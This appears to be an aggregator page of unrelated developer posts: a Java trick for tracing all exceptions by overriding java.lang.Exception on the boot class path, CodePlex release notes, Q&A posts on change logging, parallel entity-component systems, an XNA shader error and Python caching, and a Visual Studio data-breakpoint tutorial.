  Occasionally you may find yourself in a Java application environment where exceptions in your code are being caught by the application framework and either silently swallowed or converted into a generic exception. Either way, the potentially useful details of your original exception are inaccessible. Wouldn't it be nice if there was a VM option that showed the stack trace for every exception thrown, whether or not it's caught? In fact, HotSpot includes such an option: -XX:+TraceExceptions. However, this option is only available in a debug build of HotSpot (search globals.hpp for TraceExceptions). And based on a quick skim of the HotSpot source code, this option only prints the exception class and message. A more useful capability would be to have the complete stack trace printed as well as the code location catching the exception. This is what the various TraceException* options in in Maxine do (and more). That said, there is a way to achieve a limited version of the same thing with a stock standard JVM. It involves the use of the -Xbootclasspath/p non-standard option. The trick is to modify the source of java.lang.Exception by inserting the following: private static final boolean logging = System.getProperty("TraceExceptions") != null; private void log() { if (logging && sun.misc.VM.isBooted()) { printStackTrace(); } } Then every constructor simply needs to be modified to call log() just before returning: public Exception(String message) { super(message); log(); } public Exception(String message, Throwable cause) { super(message, cause); log(); } // etc... You now need to compile the modified Exception.java source and prepend the resulting class to the boot class path as well as add -DTraceExceptions to your java command line. Here's a console session showing these steps: % mkdir boot % javac -d boot Exception.java % java -DTraceExceptions -Xbootclasspath/p:boot -cp com.oracle.max.vm/bin test.output.HelloWorld java.util.zip.ZipException: error in opening zip file at java.util.zip.ZipFile.open(Native Method) at java.util.zip.ZipFile.(ZipFile.java:127) at java.util.jar.JarFile.(JarFile.java:135) at java.util.jar.JarFile.(JarFile.java:72) at sun.misc.URLClassPath$JarLoader.getJarFile(URLClassPath.java:646) at sun.misc.URLClassPath$JarLoader.access$600(URLClassPath.java:540) at sun.misc.URLClassPath$JarLoader$1.run(URLClassPath.java:607) at java.security.AccessController.doPrivileged(Native Method) at sun.misc.URLClassPath$JarLoader.ensureOpen(URLClassPath.java:599) at sun.misc.URLClassPath$JarLoader.(URLClassPath.java:583) at sun.misc.URLClassPath$3.run(URLClassPath.java:333) at java.security.AccessController.doPrivileged(Native Method) at sun.misc.URLClassPath.getLoader(URLClassPath.java:322) at sun.misc.URLClassPath.getLoader(URLClassPath.java:299) at sun.misc.URLClassPath.getResource(URLClassPath.java:168) at java.net.URLClassLoader$1.run(URLClassLoader.java:194) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:190) at sun.misc.Launcher$ExtClassLoader.findClass(Launcher.java:229) at java.lang.ClassLoader.loadClass(ClassLoader.java:306) at java.lang.ClassLoader.loadClass(ClassLoader.java:295) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301) at java.lang.ClassLoader.loadClass(ClassLoader.java:247) java.security.PrivilegedActionException at java.security.AccessController.doPrivileged(Native Method) at sun.misc.URLClassPath$JarLoader.ensureOpen(URLClassPath.java:599) at sun.misc.URLClassPath$JarLoader.(URLClassPath.java:583) at sun.misc.URLClassPath$3.run(URLClassPath.java:333) at java.security.AccessController.doPrivileged(Native Method) at sun.misc.URLClassPath.getLoader(URLClassPath.java:322) ... It's worth pointing out that this is not as useful as direct VM support for tracing exceptions. It has (at least) the following limitations: The trace is shown for every exception, whether it is thrown or not. It only applies to subclasses of java.lang.Exception as there appears to be bootstrap issues when the modification is applied to Throwable.java. It does not show you where the exception was caught. It involves overriding a class in rt.jar, something should never be done in a non-development environment.

• Pull Request Changes, Multi-Selection in Advanced View, and Advertisement Changes

  [Do you tweet? Follow us on Twitter @matthawley and @adacole_msft] We deployed a new version of the CodePlex website today. Pull Request Changes In this release, we have begun to re-focus on Pull Requests to ensure a productive experience between the project users and developers. We feel we made significant progress in this area for this release and look forward to using your feedback to drive future iterations. One of the biggest hurdles people have indicated is the inability to see what a pull request includes without pulling the source down from a Mercurial client. With today’s changes, any user has the ability to view a pull request, the changesets / changes included, and perform an inline diff of the file. When a pull request is made, the CodePlex website will query for all outgoing changes from the fork to the main repository for a point-in-time comparison. Because of this point-in-time comparison… All existing pull requests created prior to this release will not have changesets associated with them. If new commits are pushed to the fork while a pull request is active, they will not appear associated with the pull request. The pull request will need to be re-submitted for them to appear. Once a pull request is created, you can “View the Pull Request” which takes you to a page that looks like As you may notice, we now display a lot more detailed information regarding that pull request including who it was requested by and when, the associated changesets, the description, who it’s assigned to (we’ll come back to this) and the listing of summarized file changes. What you’ll also notice, is that each modified file has the ability to view a diff of all changes made. When you click “(view diff)” for a file, an inline diff experience appears. This new experience allows you to quickly navigate through all of the modified files as well as viewing the various change blocks for each file. You’ll also notice as you browse through each file’s changes, we update the URL to include the file path so you can quickly send a direct link to a pull request’s file. Clicking “(close diff)” will bring you back to the original pull request view. View this pull request live on WikiPlex. Pull Request Review Assignment Another new feature we added for pull requests is the ability for project members to assign pull requests for review. Any project member has the ability to assign (and re-assign if needed) a pull request to a project member. Once the assignment has been made, that project member will be notified via email of the assignment. Once they complete the review of the pull request, they can either accept or deny it similarly to the previous process. Multi-Selection in Advanced View Filters One of the more recent requests we have heard from users is the ability multi-select advanced view filters for work items. We are happy to announce this is now possible. Simply control-click the multiple options for each filter item and your work item query will be refined as such. Should you happen to unselect all options for a given filter, it will automatically reset to the default option for that filter. Furthermore, the “Direct Link” URL will be updated to include the multi-selected options for each filter. Note: The “Direct Link” feature was released in our previous deployment, just never written about. It allows you to capture the current state of your query and send it to other individuals. Advertisement Changes Very recently, the advertiser (The Lounge) we partnered to provide advertising revenue for projects, or donated to charity, was acquired by Lake Quincy Media. There has been no change in the advertising platform offering, and all projects have been converted over to using the new infrastructure. Project owners should note the new contact information for getting paid. The CodePlex team values your feedback, and is frequently monitoring Twitter, our Discussions and Issue Tracker for new features or problems. If you’ve not visited the Issue Tracker recently, please take a few moments to log an idea or vote for the features you would most like to see implemented on CodePlex.

• Design pattern for logging changes in parent/child objects saved to database

  - by andrew

  I’ve got a 2 database tables in parent/child relationship as one-many. I’ve got three classes representing the data in these two tables: Parent Class { Public int ID {get; set;} .. other properties } Child Class { Public int ID {get;set;} Public int ParentID {get; set;} .. other properties } TogetherClass { Public Parent Parent; Public List<Child> ChildList; } Lastly I’ve got a client and server application – I’m in control of both ends so can make changes to both programs as I need to. Client makes a request for ParentID and receives a Together Class for the matching parent, and all of the child records. The client app may make changes to the children – add new children, remove or modify existing ones. Client app then sends the Together Class back to the server app. Server app needs to update the parent and child records in the database. In addition I would like to be able to log the changes – I’m doing this by having 2 separate tables one for Parent, one for child; each containing the same columns as the original plus date time modified, by whom and a list of the changes. I’m unsure as to the best approach to detect the changes in records – new records, records to be deleted, records with no fields changed, records with some fields changed. I figure I need to read the parent & children records and compare those to the ones in the Together Class. Strategy A: If Together class’s child record has an ID of say 0, that indicates a new record; insert. Any deleted child records are no longer in the Together Class; see if any of the comparison child records are not found in the Together class and delete if not found (Compare using ID). Check each child record for changes and if changed log. Strategy B: Make a new Updated TogetherClass UpdatedClass { Public Parent Parent {get; set} Public List<Child> ListNewChild {get;set;} Public List<Child> DeletedChild {get;set;} Public List<Child> ExistingChild {get;set;} // used for no changes and modified rows } And then process as per the list. The reason why I’m asking for ideas is that both of these solutions don’t seem optimal to me and I suspect this problem has been solved already – some kind of design pattern ? I am aware of one potential problem in this general approach – that where Client App A requests a record; App B requests same record; A then saves changes; B then saves changes which may overwrite changes A made. This is a separate locking issue which I’ll raise a separate question for if I’ve got trouble implementing. The actual implementation is c#, SQL Server and WCF between client and server - sharing a library containing the class implementations. Apologies if this is a duplicate post – I tried searching various terms without finding a match though.

• Efficiently separating Read/Compute/Write steps for concurrent processing of entities in Entity/Component systems

  - by TravisG

  Setup I have an entity-component architecture where Entities can have a set of attributes (which are pure data with no behavior) and there exist systems that run the entity logic which act on that data. Essentially, in somewhat pseudo-code: Entity { id; map<id_type, Attribute> attributes; } System { update(); vector<Entity> entities; } A system that just moves along all entities at a constant rate might be MovementSystem extends System { update() { for each entity in entities position = entity.attributes["position"]; position += vec3(1,1,1); } } Essentially, I'm trying to parallelise update() as efficiently as possible. This can be done by running entire systems in parallel, or by giving each update() of one system a couple of components so different threads can execute the update of the same system, but for a different subset of entities registered with that system. Problem In reality, these systems sometimes require that entities interact(/read/write data from/to) each other, sometimes within the same system (e.g. an AI system that reads state from other entities surrounding the current processed entity), but sometimes between different systems that depend on each other (i.e. a movement system that requires data from a system that processes user input). Now, when trying to parallelize the update phases of entity/component systems, the phases in which data (components/attributes) from Entities are read and used to compute something, and the phase where the modified data is written back to entities need to be separated in order to avoid data races. Otherwise the only way (not taking into account just "critical section"ing everything) to avoid them is to serialize parts of the update process that depend on other parts. This seems ugly. To me it would seem more elegant to be able to (ideally) have all processing running in parallel, where a system may read data from all entities as it wishes, but doesn't write modifications to that data back until some later point. The fact that this is even possible is based on the assumption that modification write-backs are usually very small in complexity, and don't require much performance, whereas computations are very expensive (relatively). So the overhead added by a delayed-write phase might be evened out by more efficient updating of entities (by having threads work more % of the time instead of waiting). A concrete example of this might be a system that updates physics. The system needs to both read and write a lot of data to and from entities. Optimally, there would be a system in place where all available threads update a subset of all entities registered with the physics system. In the case of the physics system this isn't trivially possible because of race conditions. So without a workaround, we would have to find other systems to run in parallel (which don't modify the same data as the physics system), other wise the remaining threads are waiting and wasting time. However, that has disadvantages Practically, the L3 cache is pretty much always better utilized when updating a large system with multiple threads, as opposed to multiple systems at once, which all act on different sets of data. Finding and assembling other systems to run in parallel can be extremely time consuming to design well enough to optimize performance. Sometimes, it might even not be possible at all because a system just depends on data that is touched by all other systems. Solution? In my thinking, a possible solution would be a system where reading/updating and writing of data is separated, so that in one expensive phase, systems only read data and compute what they need to compute, and then in a separate, performance-wise cheap, write phase, attributes of entities that needed to be modified are finally written back to the entities. The Question How might such a system be implemented to achieve optimal performance, as well as making programmer life easier? What are the implementation details of such a system and what might have to be changed in the existing EC-architecture to accommodate this solution?

• Error X3650 when compiling shader in XNA

  - by Saikai

  I'm attempting to convert the XBDEV.NET Mosaic Shader for use in my XNA project and having trouble. The compiler errors out because of the half globals. At first I tried replacing the globals and just writing the variables explicitly in the code, but that garbles the Output. Next I tried replacing all the half with float vars, but that still garbles the resulting Image. I call the effect file from SpriteBatch.Begin(). Is there a way to convert this shader to the new pixel shader conventions? Are there any good tutorials for this topic? Here is the shader file for reference: /*****************************************************************************/ /* File: tiles.fx Details: Modified version of the NVIDIA Composer FX Demo Program 2004 Produces a tiled mosaic effect on the output.

• Caching factory design

  - by max

  I have a factory class XFactory that creates objects of class X. Instances of X are very large, so the main purpose of the factory is to cache them, as transparently to the client code as possible. Objects of class X are immutable, so the following code seems reasonable: # module xfactory.py import x class XFactory: _registry = {} def get_x(self, arg1, arg2, use_cache = True): if use_cache: hash_id = hash((arg1, arg2)) if hash_id in _registry: return _registry[hash_id] obj = x.X(arg1, arg2) _registry[hash_id] = obj return obj # module x.py class X: # ... Is it a good pattern? (I know it's not the actual Factory Pattern.) Is there anything I should change? Now, I find that sometimes I want to cache X objects to disk. I'll use pickle for that purpose, and store as values in the _registry the filenames of the pickled objects instead of references to the objects. Of course, _registry itself would have to be stored persistently (perhaps in a pickle file of its own, in a text file, in a database, or simply by giving pickle files the filenames that contain hash_id). Except now the validity of the cached object depends not only on the parameters passed to get_x(), but also on the version of the code that created these objects. Strictly speaking, even a memory-cached object could become invalid if someone modifies x.py or any of its dependencies, and reloads it while the program is running. So far I ignored this danger since it seems unlikely for my application. But I certainly cannot ignore it when my objects are cached to persistent storage. What can I do? I suppose I could make the hash_id more robust by calculating hash of a tuple that contains arguments arg1 and arg2, as well as the filename and last modified date for x.py and every module and data file that it (recursively) depends on. To help delete cache files that won't ever be useful again, I'd add to the _registry the unhashed representation of the modified dates for each record. But even this solution isn't 100% safe since theoretically someone might load a module dynamically, and I wouldn't know about it from statically analyzing the source code. If I go all out and assume every file in the project is a dependency, the mechanism will still break if some module grabs data from an external website, etc.). In addition, the frequency of changes in x.py and its dependencies is quite high, leading to heavy cache invalidation. Thus, I figured I might as well give up some safety, and only invalidate the cache only when there is an obvious mismatch. This means that class X would have a class-level cache validation identifier that should be changed whenever the developer believes a change happened that should invalidate the cache. (With multiple developers, a separate invalidation identifier is required for each.) This identifier is hashed along with arg1 and arg2 and becomes part of the hash keys stored in _registry. Since developers may forget to update the validation identifier or not realize that they invalidated existing cache, it would seem better to add another validation mechanism: class X can have a method that returns all the known "traits" of X. For instance, if X is a table, I might add the names of all the columns. The hash calculation will include the traits as well. I can write this code, but I am afraid that I'm missing something important; and I'm also wondering if perhaps there's a framework or package that can do all of this stuff already. Ideally, I'd like to combine in-memory and disk-based caching.

• Data breakpoints to find points where data gets broken

  - by raccoon_tim

  When working with a large code base, finding reasons for bizarre bugs can often be like finding a needle in a hay stack. Finding out why an object gets corrupted without no apparent reason can be quite daunting, especially when it seems to happen randomly and totally out of context. Scenario Take the following scenario as an example. You have defined the a class that contains an array of characters that is 256 characters long. You now implement a method for filling this buffer with a string passed as an argument. At this point you mistakenly expect the buffer to be 256 characters long. At some point you notice that you require another character buffer and you add that after the previous one in the class definition. You now figure that you don’t need the 256 characters that the first member can hold and you shorten that to 128 to conserve space. At this point you should start thinking that you also have to modify the method defined above to safeguard against buffer overflow. It so happens, however, that in this not so perfect world this does not cross your mind. Buffer overflow is one of the most frequent sources for errors in a piece of software and often one of the most difficult ones to detect, especially when data is read from an outside source. Many mass copy functions provided by the C run-time provide versions that have boundary checking (defined with the _s suffix) but they can not guard against hard coded buffer lengths that at some point get changed. Finding the bug Getting back to the scenario, you’re now wondering why does the second string get modified with data that makes no sense at all. Luckily, Visual Studio provides you with a tool to help you with finding just these kinds of errors. It’s called data breakpoints. To add a data breakpoint, you first run your application in debug mode or attach to it in the usual way, and then go to Debug, select New Breakpoint and New Data Breakpoint. In the popup that opens, you can type in the memory address and the amount of bytes you wish to monitor. You can also use an expression here, but it’s often difficult to come up with an expression for data in an object allocated on the heap when not in the context of a certain stack frame. There are a couple of things to note about data breakpoints, however. First of all, Visual Studio supports a maximum of four data breakpoints at any given time. Another important thing to notice is that some C run-time functions modify memory in kernel space which does not trigger the data breakpoint. For instance, calling ReadFile on a buffer that is monitored by a data breakpoint will not trigger the breakpoint. The application will now break at the address you specified it to. Often you might immediately spot the issue but the very least this feature can do is point you in the right direction in search for the real reason why the memory gets inadvertently modified. Conclusions Data breakpoints are a great feature, especially when doing a lot of low level operations where multiple locations modify the same data. With the exception of some special cases, like kernel memory modification, you can use it whenever you need to check when memory at a certain location gets changed on purpose or inadvertently.
